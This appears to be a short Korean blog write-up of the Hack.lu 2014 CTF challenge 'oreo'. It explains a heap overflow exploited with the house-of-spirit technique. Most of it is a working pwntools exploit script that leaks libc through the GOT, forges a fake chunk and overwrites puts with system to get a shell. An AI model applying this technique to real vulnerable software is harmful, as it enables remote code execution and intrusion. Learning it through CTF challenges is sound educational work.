카테고리 없음
Hacklu 2014 oreo
HSr00t
2017. 6. 27. 11:16
add부분에서 heap오버플로우가일어남
house_of_spirit를 사용하면 풀수있음
Message변수에 들어가있는주소는 add할때마다 올라가는 숫자(카운트)가 저장되어있음
그 카운트가 청크 사이즈가됨 + 0x4가 변조전에 add한 청크를 가르키고있는 포인터임
그래서 Message+0x4로 add부분에서 수정하면그곳이 데이터시작위치가됨
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 | from pwn import * #p=remote("localhost",9001) p=process("./oreo_35f118d90a7790bbd1eb6d4549993ef0") elf=ELF('oreo_35f118d90a7790bbd1eb6d4549993ef0') Message = 0x0804a2a4 print p.recv(1024) def add(name,description): p.sendline("1") p.sendline(name) p.sendline(description) def Show(): p.sendline("2") def Order(): p.sendline("3") def Leave(submit_order): p.sendline("4") p.sendline(submit_order) def ShowCurrent(): p.sendline("5") LeaveHeap = 0x0804a2a8 top=0x20fc1 payload='A'*27 payload+=p32(elf.got['free']) add(payload,"B")## top-=0x40 Show() ## print p.recvuntil('Description: ') print p.recvuntil('Description: ') p.recv(4) FREE=u32(p.recv(4)) system = FREE - 0x1a5ee0 cmd = system+0xe7139 print hex(FREE) print hex(system) print hex(cmd) for i in range(0,60): add('D','Q') top-=0x40 print hex(top) add("A"*27+'\x00'*4,'D') payload="A"*27 payload+=p32(Message+0x4) add(payload,"DCBA") Leave(p32(0)*9+p32(0x12c)+p32(0)*4) Order() add("Z",p32(elf.got['puts'])) Leave(p32(system)+p32(cmd)) p.interactive() | cs |
변조할 주소값을 알아야됨(SYSTEM LIBC 등), 그 변조할수있는 포인터를 free할수있어야됨
첫 번째 청크를 가르키고있는 주소가있다면 그 주소값을 fake chunk가 있는 STACK주소로 변조했다치고, FREE를 하고 malloc를 하면 변조된 stack주소로 바뀌게됨
HOW2HEAP